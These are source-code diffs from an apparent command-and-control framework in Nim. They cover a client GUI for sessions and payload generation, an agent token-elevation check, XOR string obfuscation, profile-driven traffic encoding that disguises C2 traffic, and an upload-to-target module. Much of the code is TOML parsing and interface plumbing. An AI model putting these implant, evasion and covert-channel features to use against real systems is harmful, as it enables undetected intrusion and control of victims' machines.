status = pNtOpenProcessToken(cast[HANDLE](-1), TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
return FALSE return FALSE
# Get elevation
status = pNtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
if status != STATUS_SUCCESS:
return FALSE
return cast[bool](pElevation.TokenIsElevated)
#[ #[
Spawn+Inject Functions Spawn+Inject Functions
]# ]#

View File

@@ -1,10 +1,10 @@
import whisky import whisky
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs import tables, times, strutils, strformat, json, base64, native_dialogs
import ./utils/[appImGui, globals] import ./utils/[appImGui, globals]
import ./views/[dockspace, sessions, listeners, eventlog, console] import ./views/[dockspace, sessions, listeners, eventlog, console]
import ./views/loot/[screenshots, downloads] import ./views/loot/[screenshots, downloads]
import ./views/modals/generatePayload import ./views/modals/generatePayload
import ../common/[types, utils, crypto] import ../common/[types, utils, profile, crypto]
import ./core/websocket import ./core/websocket
proc main(ip: string = "localhost", port: int = 37573) = proc main(ip: string = "localhost", port: int = 37573) =
@@ -73,12 +73,11 @@ proc main(ip: string = "localhost", port: int = 37573) =
#[ #[
WebSocket communication with the team server WebSocket communication with the team server
]# ]#
# Continuously send heartbeat messages
connection.ws.sendHeartbeat()
# Receive and parse websocket response message
try: try:
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey) # Receive and parse websocket response message
let message = connection.ws.receiveMessage(timeout = 16) # Use a 16ms timeout to reduce CPU load = ~60FPS
if message.isSome():
let event = recvEvent(message.get(), connection.sessionKey)
case event.eventType: case event.eventType:
of CLIENT_KEY_EXCHANGE: of CLIENT_KEY_EXCHANGE:
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey()) connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
@@ -86,7 +85,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
wipeKey(clientKeyPair.privateKey) wipeKey(clientKeyPair.privateKey)
of CLIENT_PROFILE: of CLIENT_PROFILE:
profile = parsetoml.parseString(event.data["profile"].getStr()) profile = parseString(event.data["profile"].getStr())
of CLIENT_LISTENER_ADD: of CLIENT_LISTENER_ADD:
let listener = event.data.to(UIListener) let listener = event.data.to(UIListener)
@@ -130,7 +129,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
# Close and reset the payload generation modal window when the payload was received # Close and reset the payload generation modal window when the payload was received
listenersTable.generatePayloadModal.resetModalValues() listenersTable.generatePayloadModal.resetModalValues()
igClosePopupToLevel(0, false) listenersTable.generatePayloadModal.show = false
of CLIENT_CONSOLE_ITEM: of CLIENT_CONSOLE_ITEM:
let agentId = event.data["agentId"].getStr() let agentId = event.data["agentId"].getStr()
@@ -202,12 +201,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
console.draw(connection) console.draw(connection)
newConsoleTable[agentId] = console newConsoleTable[agentId] = console
if sessionsTable.focusedConsole.len() > 0:
igSetWindowFocus_Str(sessionsTable.focusedConsole.cstring)
sessionsTable.focusedConsole = ""
# Update the consoles table with only those sessions that have not been closed yet # Update the consoles table with only those sessions that have not been closed yet
# This is done to ensure that closed console windows can be opened again # This is done to ensure that closed console windows can be opened again
consoles = newConsoleTable consoles = newConsoleTable
except CatchableError as err: except CatchableError as err:
echo "[-] ", err.msg # echo "[-] ", err.msg
discard discard
# render # render

View File

@@ -35,6 +35,7 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
# Payload generation modal (only enabled when at least one listener is active) # Payload generation modal (only enabled when at least one listener is active)
igBeginDisabled(component.listeners.len() <= 0) igBeginDisabled(component.listeners.len() <= 0)
if igButton("Generate Payload", vec2(0.0f, 0.0f)): if igButton("Generate Payload", vec2(0.0f, 0.0f)):
component.generatePayloadModal.show = true
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32) igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
igEndDisabled() igEndDisabled()

View File

@@ -9,6 +9,7 @@ export addItem
type type
AgentModalComponent* = ref object of RootObj AgentModalComponent* = ref object of RootObj
show*: bool
listener: int32 listener: int32
sleepDelay: uint32 sleepDelay: uint32
jitter: int32 jitter: int32
@@ -28,6 +29,7 @@ type
proc AgentModal*(): AgentModalComponent = proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent result = new AgentModalComponent
result.show = false
result.listener = 0 result.listener = 0
result.sleepDelay = 5 result.sleepDelay = 5
result.jitter = 15 result.jitter = 15
@@ -96,11 +98,13 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
let modalWidth = max(500.0f, vp.Size.x * 0.25) let modalWidth = max(500.0f, vp.Size.x * 0.25)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true var show = component.show
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32 let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
if igBeginPopupModal("Generate Payload", addr show, windowFlags): if igBeginPopupModal("Generate Payload", addr show, windowFlags):
defer: igEndPopup() defer: igEndPopup()
component.show = show
var availableSize: ImVec2 var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)

View File

@@ -15,6 +15,7 @@ type
agentImpersonation*: Table[string, string] agentImpersonation*: Table[string, string]
selection: ptr ImGuiSelectionBasicStorage selection: ptr ImGuiSelectionBasicStorage
consoles: ptr Table[string, ConsoleComponent] consoles: ptr Table[string, ConsoleComponent]
focusedConsole*: string
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent = proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
result = new SessionsTableComponent result = new SessionsTableComponent
@@ -23,6 +24,7 @@ proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]
result.agentActivity = initTable[string, int64]() result.agentActivity = initTable[string, int64]()
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage() result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
result.consoles = consoles result.consoles = consoles
result.focusedConsole = ""
proc cmp(x, y: UIAgent): int = proc cmp(x, y: UIAgent): int =
return cmp(x.firstCheckin, y.firstCheckin) return cmp(x.firstCheckin, y.firstCheckin)
@@ -39,9 +41,7 @@ proc interact(component: SessionsTableComponent) =
if not component.consoles[].hasKey(agent.agentId): if not component.consoles[].hasKey(agent.agentId):
component.consoles[][agent.agentId] = Console(agent) component.consoles[][agent.agentId] = Console(agent)
# Focus the existing console window component.focusedConsole = fmt"[{agent.agentId}] {agent.username}@{agent.hostname}"
else:
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
component.selection.ImGuiSelectionBasicStorage_Clear() component.selection.ImGuiSelectionBasicStorage_Clear()

View File

@@ -7,7 +7,7 @@ import ./[types, utils]
Symmetric AES256 GCM encryption for secure C2 traffic Symmetric AES256 GCM encryption for secure C2 traffic
Ensures both confidentiality and integrity of the packet Ensures both confidentiality and integrity of the packet
]# ]#
proc generateBytes*(T: typedesc[Key | Iv | Key16]): array = proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array =
var bytes: T var bytes: T
if randomBytes(bytes) != sizeof(T): if randomBytes(bytes) != sizeof(T):
raise newException(CatchableError, protect("Failed to generate byte array.")) raise newException(CatchableError, protect("Failed to generate byte array."))
@@ -57,7 +57,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
Elliptic curve cryptography ensures that the actual session key is never sent over the network Elliptic curve cryptography ensures that the actual session key is never sent over the network
Private keys and shared secrets are wiped from agent memory as soon as possible Private keys and shared secrets are wiped from agent memory as soon as possible
]# ]#
{.compile: "monocypher/monocypher.c".} {.compile: protect("monocypher/monocypher.c").}
# C function imports from (monocypher/monocypher.c) # C function imports from (monocypher/monocypher.c)
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.} proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}

View File

@@ -1,72 +1,146 @@
import parsetoml, strutils, sequtils, random import strutils, sequtils, random, base64, algorithm
import ./[types, utils]
import ./types import ./toml/toml
export parseFile, parseString, free, getTableKeys, getRandom
proc findKey(profile: Profile, path: string): TomlValueRef =
let keys = path.split(".")
let target = keys[keys.high]
var current = profile
for i in 0 ..< keys.high:
let temp = current.getOrDefault(keys[i])
if temp == nil:
return nil
current = temp
return current.getOrDefault(target)
# Takes a specific "."-separated path as input and returns a default value if the key does not exits # Takes a specific "."-separated path as input and returns a default value if the key does not exits
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the # Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
# prefix key, or "not found" if the target key or any sub-tables don't exist # prefix key, or "not found" if the target key or any sub-tables don't exist
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character # '#' characters represent wildcard characters and are replaced with a random alphanumerical character (a-zA-Z0-9)
# '$' characters are replaced with a random number (0-9)
#[
Helper functions
]#
proc randomChar(): char = proc randomChar(): char =
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return alphabet[rand(alphabet.len - 1)] return alphabet[rand(alphabet.len - 1)]
proc randomNumber(): char =
let numbers = "0123456789"
return numbers[rand(numbers.len - 1)]
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0: if values.len == 0:
return nil return nil
return values[rand(values.len - 1)] return values[rand(values.len - 1)]
#[
Wrapper functions
]#
proc getStringValue*(key: TomlValueRef, default: string = ""): string = proc getStringValue*(key: TomlValueRef, default: string = ""): string =
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers if key.isNil or key.kind == None:
# A random entry is selected from these specifications return default
var value: string = ""
if key.kind == TomlValueKind.String:
value = key.getStr(default)
elif key.kind == TomlValueKind.Array:
value = key.getElems().getRandom().getStr(default)
# Replace '#' with a random alphanumerical character and return the resulting string var value: string = ""
return value.mapIt(if it == '#': randomChar() else: it).join("") if key.kind == String:
value = key.strVal
elif key.kind == Array:
let randomElem = getRandom(key.arrayVal)
if randomElem != nil and randomElem.kind == String:
value = randomElem.strVal
# Replace '#' with random alphanumerical character
# Replace '$' with a random digit
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
proc getString*(profile: Profile, path: string, default: string = ""): string = proc getString*(profile: Profile, path: string, default: string = ""): string =
let key = profile.findKey(path) let key = profile.findKey(path)
if key == nil:
return default
return key.getStringValue(default) return key.getStringValue(default)
proc getInt*(profile: Profile, path: string, default: int = 0): int =
let key = profile.findKey(path)
return key.getInt(default)
proc getBool*(profile: Profile, path: string, default: bool = false): bool = proc getBool*(profile: Profile, path: string, default: bool = false): bool =
let key = profile.findKey(path) let key = profile.findKey(path)
if key == nil:
return default
return key.getBool(default) return key.getBool(default)
proc getInt*(profile: Profile, path: string, default = 0): int =
let key = profile.findKey(path)
if key == nil:
return default
return key.getInt(default)
proc getTable*(profile: Profile, path: string): TomlTableRef = proc getTable*(profile: Profile, path: string): TomlTableRef =
let key = profile.findKey(path) let key = profile.findKey(path)
if key == nil:
return new TomlTableRef
return key.getTable() return key.getTable()
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] = proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
let key = profile.findKey(path) let key = profile.findKey(path)
if key == nil: if key.kind != Array:
return @[] return @[]
return key.getElems() return key.getElems()
proc isArray*(profile: Profile, path: string): bool =
let key = profile.findKey(path)
return key.kind == Array
# Retrieve string or binary prefix
proc getStringOrByteArray*(profile: Profile, path: string): string =
result = ""
if profile.isArray(path):
for element in profile.getArray(path):
result &= char(element.getInt())
else:
result = profile.getString(path)
#[
Data transformation
]#
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
# 1. Encoding
var steps: seq[TomlTableRef] = @[]
# Apply all encoding techniques in the order specified in the profile
if profile.isArray(path & protect(".encoding")):
for encoding in profile.getArray(path & protect(".encoding")):
steps.add(encoding.getTable())
else:
steps = @[profile.getTable(path & protect(".encoding"))]
var dataString: string = Bytes.toString(data)
for step in steps:
case step.getTableValue(protect("type")).getStr(default = "none")
of protect("base64"):
dataString = encode(dataString, safe = step.getTableValue(protect("url-safe")).getBool()).replace("=", "")
of protect("hex"):
dataString = dataString.toHex().toLowerAscii()
of protect("rot"):
dataString = Bytes.toString(encodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
of protect("xor"):
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
of protect("none"):
discard
# 2. Add prefix & suffix
let
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
return prefix & dataString & suffix
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
# 1. Remove prefix & suffix
let
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
var dataString = data[len(prefix) ..^ len(suffix) + 1]
# 2. Decoding
var steps: seq[TomlTableRef] = @[]
# Apply all encoding techniques in reverse order
if profile.isArray(path & protect(".encoding")):
for encoding in profile.getArray(path & protect(".encoding")):
steps.add(encoding.getTable())
else:
steps = @[profile.getTable(path & protect(".encoding"))]
for step in steps.reversed():
case step.getTableValue(protect("type")).getStr(default = "none")
of protect("base64"):
dataString = decode(dataString)
of protect("hex"):
dataString = parseHexStr(dataString)
of protect("rot"):
dataString = Bytes.toString(decodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
of protect("xor"):
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
of protect("none"):
discard
return string.toBytes(dataString)

1983
src/common/toml/toml.c Normal file

File diff suppressed because it is too large Load Diff

137
src/common/toml/toml.h Normal file
View File

@@ -0,0 +1,137 @@
#ifndef TOML_H
#define TOML_H
#ifdef _MSC_VER
# pragma warning(disable : 4996)
#endif
#ifdef __cplusplus
# define TOML_EXTERN extern "C"
#else
# define TOML_EXTERN extern
#endif
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
typedef struct toml_table_t toml_table_t;
typedef struct toml_array_t toml_array_t;
typedef struct toml_value_t toml_value_t;
typedef struct toml_timestamp_t toml_timestamp_t;
typedef struct toml_keyval_t toml_keyval_t;
typedef struct toml_arritem_t toml_arritem_t;
typedef struct toml_pos_t toml_pos_t;
// TOML table.
struct toml_table_t {
const char* key; // Key for this table
int keylen; // length of key.
bool implicit; // Table was created implicitly
bool readonly; // No more modification allowed
int nkval; // key-values in the table
toml_keyval_t** kval;
int narr; // arrays in the table
toml_array_t** arr;
int ntbl; // tables in the table
toml_table_t** tbl;
};
// TOML array.
struct toml_array_t {
const char* key; // key to this array
int keylen; // length of key.
int kind; // element kind: 'v'alue, 'a'rray, or 't'able, 'm'ixed
int type; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp, 'm'ixed
int nitem; // number of elements
toml_arritem_t* item;
};
struct toml_arritem_t {
int valtype; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp
char* val;
toml_array_t* arr;
toml_table_t* tbl;
};
// TOML key/value pair.
struct toml_keyval_t {
const char* key; // key to this value
int keylen; // length of key.
const char* val; // the raw value
};
// Token position.
struct toml_pos_t {
int line;
int col;
};
// Timestamp type; some values may be empty depending on the value of kind.
struct toml_timestamp_t {
// datetime type:
//
// 'd'atetime Full date + time + TZ
// 'l'local-datetime Full date + time but without TZ
// 'D'ate-local Date only, without TZ
// 't'ime-local Time only, without TZ
char kind;
int year, month, day;
int hour, minute, second, millisec;
int tz; // Timezone offset in minutes
};
// Parsed TOML value.
//
// The string value s is a regular NULL-terminated C string, but the string
// length is also given in sl since TOML values may contain NULL bytes. The
// value is guaranteed to be correct UTF-8.
struct toml_value_t {
bool ok; // Was this value present?
union {
struct {
char* s; // string value; must be freed after use.
int sl; // string length, excluding NULL.
};
toml_timestamp_t ts; // datetime
bool b; // bool
int64_t i; // int
double d; // double
} u;
};
// toml_parse() parses a TOML document from a string. Returns 0 on error, with
// the error message stored in errbuf.
//
// toml_parse_file() is identical, but reads from a file descriptor.
//
// Use toml_free() to free the return value; this will invalidate all handles
// for this table.
TOML_EXTERN toml_table_t* toml_parse(char* toml, char* errbuf, int errbufsz);
TOML_EXTERN toml_table_t* toml_parse_file(FILE* fp, char* errbuf, int errbufsz);
TOML_EXTERN void toml_free(toml_table_t* table);
// Table functions.
//
// toml_table_len() gets the number of direct keys for this table;
// toml_table_key() gets the nth direct key in this table.
TOML_EXTERN int toml_table_len(const toml_table_t* table);
TOML_EXTERN const char* toml_table_key(const toml_table_t* table, int keyidx, int* keylen);
TOML_EXTERN toml_value_t toml_table_string(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_bool(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_int(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_double(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_timestamp(const toml_table_t* table, const char* key);
TOML_EXTERN toml_array_t* toml_table_array(const toml_table_t* table, const char* key);
TOML_EXTERN toml_table_t* toml_table_table(const toml_table_t* table, const char* key);
// Array functions.
TOML_EXTERN int toml_array_len(const toml_array_t* array);
TOML_EXTERN toml_value_t toml_array_string(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_bool(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_int(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_double(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_timestamp(const toml_array_t* array, int idx);
TOML_EXTERN toml_array_t* toml_array_array(const toml_array_t* array, int idx);
TOML_EXTERN toml_table_t* toml_array_table(const toml_array_t* array, int idx);
#endif // TOML_H

301
src/common/toml/toml.nim Normal file
View File

@@ -0,0 +1,301 @@
import random, strutils
# Wrapper for the toml-c library
# Original: github.com/arp242/toml-c/
{.compile: "toml.c".}
type
TomlKeyVal = object
key: cstring
keylen: cint
val: cstring
TomlArrItem = object
valtype: cint
val: cstring
arr: ptr TomlArray
tbl: ptr TomlTable
TomlTable = object
key: cstring
keylen: cint
implicit: bool
readonly: bool
nkval: cint
kval: ptr ptr TomlKeyVal
narr: cint
arr: ptr ptr TomlArray
ntbl: cint
tbl: ptr ptr TomlTable
TomlArray = object
key: cstring
keylen: cint
kind: cint
`type`: cint
nitem: cint
item: ptr TomlArrItem
TomlValue = object
case ok: bool
of false: discard
of true:
s: cstring
sl: cint
TomlTableRef* = ptr TomlTable
TomlValueKind* = enum
String, Int, Bool, Float, Table, Array, None
TomlValueRef* = ref object
case kind*: TomlValueKind
of String:
strVal*: string
of Int:
intVal*: int64
of Bool:
boolVal*: bool
of Float:
floatVal*: float64
of Table:
tableVal*: TomlTableRef
of Array:
arrayVal*: ptr TomlArray
of None:
discard
# C library functions
proc toml_parse(toml: cstring, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
proc toml_parse_file(fp: File, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
proc toml_free(tab: TomlTableRef) {.importc, cdecl.}
proc toml_table_len(tab: TomlTableRef): cint {.importc, cdecl.}
proc toml_table_key(tab: TomlTableRef, keyidx: cint, keylen: ptr cint): cstring {.importc, cdecl.}
proc toml_table_string(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_int(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_bool(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_double(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_array(tab: TomlTableRef, key: cstring): ptr TomlArray {.importc, cdecl.}
proc toml_table_table(tab: TomlTableRef, key: cstring): TomlTableRef {.importc, cdecl.}
proc toml_array_len(arr: ptr TomlArray): cint {.importc, cdecl.}
proc toml_array_table(arr: ptr TomlArray, idx: cint): TomlTableRef {.importc, cdecl.}
proc toml_array_string(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
proc toml_array_int(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
#[
Retrieve a random element from a TOML array
]#
proc getRandom*(arr: ptr TomlArray): TomlValueRef =
if arr.isNil:
return nil
let n = toml_array_len(arr)
if n == 0:
return nil
let idx = rand(n.int - 1)
# String
let strVal {.volatile.} = toml_array_string(arr, idx.cint)
if strVal.ok:
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
# Table
let table {.volatile.} = toml_array_table(arr, idx.cint)
if not table.isNil:
return TomlValueRef(kind: Table, tableVal: table)
# Int
let intVal {.volatile.} = toml_array_int(arr, idx.cint)
if intVal.ok:
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
return nil
#[
Parse TOML string or configuration file
]#
proc parseString*(toml: string): TomlTableRef =
var errbuf: array[200, char]
var tomlCopy = toml
result = toml_parse(tomlCopy.cstring, cast[cstring](addr errbuf[0]), 200)
if result.isNil:
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
proc parseFile*(path: string): TomlTableRef =
var errbuf: array[200, char]
let fp = open(path, fmRead)
if fp.isNil:
raise newException(IOError, "Cannot open file: " & path)
result = toml_parse_file(fp, cast[cstring](addr errbuf[0]), 200)
fp.close()
if result.isNil:
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
proc free*(table: TomlTableRef) =
if not table.isNil:
toml_free(table)
#[
Takes a specific "."-separated path as input and returns the TOML Value that it finds
]#
proc findKey*(profile: TomlTableRef, path: string): TomlValueRef =
if profile.isNil:
return TomlValueRef(kind: None)
let keys = path.split(".")
var current = profile
# Navigate through nested tables
for i in 0 ..< keys.len - 1:
let nextTable = toml_table_table(current, keys[i].cstring)
if nextTable.isNil:
return TomlValueRef(kind: None)
current = nextTable
let finalKey = keys[^1].cstring
# Try different types
# {.volatile.} is added to avoid dangling pointers
block findStr:
let val {.volatile.} = toml_table_string(current, finalKey)
if val.ok:
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
block checkInt:
let val {.volatile.} = toml_table_int(current, finalKey)
if val.ok:
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
block checkBool:
let val {.volatile.} = toml_table_bool(current, finalKey)
if val.ok:
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Bool, boolVal: boolPtr)
block checkDouble:
let val {.volatile.} = toml_table_double(current, finalKey)
if val.ok:
let dblPtr = cast[ptr float64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Float, floatVal: dblPtr)
block checkArray:
let arr {.volatile.} = toml_table_array(current, finalKey)
if not arr.isNil:
return TomlValueRef(kind: Array, arrayVal: arr)
block checkTable:
let table {.volatile.} = toml_table_table(current, finalKey)
if not table.isNil:
return TomlValueRef(kind: Table, tableVal: table)
return TomlValueRef(kind: None)
#[
Retrieve the actual value from a TOML value
]#
proc getStr*(value: TomlValueRef, default: string = ""): string =
if value.kind == String:
return value.strVal
return default
proc getInt*(value: TomlValueRef, default: int = 0): int =
if value.kind == Int:
return value.intVal.int
return default
proc getBool*(value: TomlValueRef, default: bool = false): bool =
if value.kind == Bool:
return value.boolVal
return default
proc getTable*(value: TomlValueRef): TomlTableRef =
if value.kind == Table:
return value.tableVal
return nil
proc getElems*(value: TomlValueRef): seq[TomlValueRef] =
if value.kind != Array:
return @[]
let arr = value.arrayVal
let n = toml_array_len(arr)
result = @[]
for i in 0 ..< n:
# Try table first
let table {.volatile.} = toml_array_table(arr, i.cint)
if not table.isNil:
result.add(TomlValueRef(kind: Table, tableVal: table))
continue
# Try string
let strVal {.volatile.} = toml_array_string(arr, i.cint)
if strVal.ok:
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
if not strPtr.isNil:
result.add(TomlValueRef(kind: String, strVal: $strPtr))
continue
# Try int
let intVal {.volatile.} = toml_array_int(arr, i.cint)
if intVal.ok:
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
result.add(TomlValueRef(kind: Int, intVal: intPtr))
proc getTableKeys*(profile: TomlTableRef, path: string): seq[tuple[key: string, value: TomlValueRef]] =
result = @[]
let key = profile.findKey(path)
let table = key.getTable()
if table.isNil:
return
let numKeys = toml_table_len(table)
for i in 0 ..< numKeys:
var keylen: cint
let keyPtr = toml_table_key(table, i.cint, addr keylen)
if keyPtr.isNil:
continue
let key = $keyPtr
let value = profile.findKey(path & "." & key)
if value.kind != None:
result.add((key: key, value: value))
proc getTableValue*(table: TomlTableRef, key: string): TomlValueRef =
if table.isNil:
return TomlValueRef(kind: None)
let ckey = key.cstring
block checkString:
let val {.volatile.} = toml_table_string(table, ckey)
if val.ok:
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
block checkInt:
let val {.volatile.} = toml_table_int(table, ckey)
if val.ok:
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
block checkBool:
let val {.volatile.} = toml_table_bool(table, ckey)
if val.ok:
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Bool, boolVal: boolPtr)
return TomlValueRef(kind: None)

View File

@@ -1,10 +1,12 @@
import tables import tables
import parsetoml, json import json
import system import system
import mummy import mummy
when defined(client): when defined(client):
import whisky import whisky
import ./toml/toml
# Custom Binary Task structure # Custom Binary Task structure
const const
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
@@ -71,14 +73,6 @@ type
RESULT_BINARY = 1'u8 RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8 RESULT_NO_OUTPUT = 2'u8
ConfigType* = enum
CONFIG_LISTENER_UUID = 0'u8
CONFIG_LISTENER_IP = 1'u8
CONFIG_LISTENER_PORT = 2'u8
CONFIG_SLEEP_DELAY = 3'u8
CONFIG_PUBLIC_KEY = 4'u8
CONFIG_PROFILE = 5'u8
LogType* {.size: sizeof(uint8).} = enum LogType* {.size: sizeof(uint8).} = enum
LOG_INFO = "[INFO] " LOG_INFO = "[INFO] "
LOG_ERROR = "[FAIL] " LOG_ERROR = "[FAIL] "
@@ -120,7 +114,7 @@ type
Key* = array[32, byte] Key* = array[32, byte]
Iv* = array[12, byte] Iv* = array[12, byte]
AuthenticationTag* = array[16, byte] AuthenticationTag* = array[16, byte]
Key16* = array[16, byte] KeyRC4* = array[16, byte]
# Packet structure # Packet structure
type type
@@ -293,7 +287,7 @@ type
privateKey*: Key privateKey*: Key
publicKey*: Key publicKey*: Key
Profile* = TomlValueRef Profile* = TomlTableRef
WsConnection* = ref object WsConnection* = ref object
when defined(server): when defined(server):
@@ -308,6 +302,7 @@ type
threads*: Table[string, Thread[Listener]] threads*: Table[string, Thread[Listener]]
agents*: Table[string, Agent] agents*: Table[string, Agent]
keyPair*: KeyPair keyPair*: KeyPair
profileString*: string
profile*: Profile profile*: Profile
client*: WsConnection client*: WsConnection

View File

@@ -38,6 +38,24 @@ macro protect*(str: untyped): untyped =
# Alternate the XOR key using the FNV prime (1677619) # Alternate the XOR key using the FNV prime (1677619)
key = (key *% 1677619) and 0x7FFFFFFF key = (key *% 1677619) and 0x7FFFFFFF
#[
Data encoding
]#
proc encodeRot*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = byte((int(b) + key) mod 256)
proc decodeRot*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = byte((int(b) - key + 256) mod 256)
proc xorBytes*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = b xor byte(key)
#[ #[
Utility functions Utility functions
]# ]#

View File

@@ -27,6 +27,7 @@ let module* = Module(
example: protect("upload /path/to/payload.exe"), example: protect("upload /path/to/payload.exe"),
arguments: @[ arguments: @[
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
], ],
execute: executeUpload execute: executeUpload
) )
@@ -40,7 +41,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, std/paths, strformat import os, strformat
import ../agent/utils/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/serialize import ../common/serialize
@@ -72,17 +73,18 @@ when defined(agent):
try: try:
var arg: string = Bytes.toString(task.args[0].data) var arg: string = Bytes.toString(task.args[0].data)
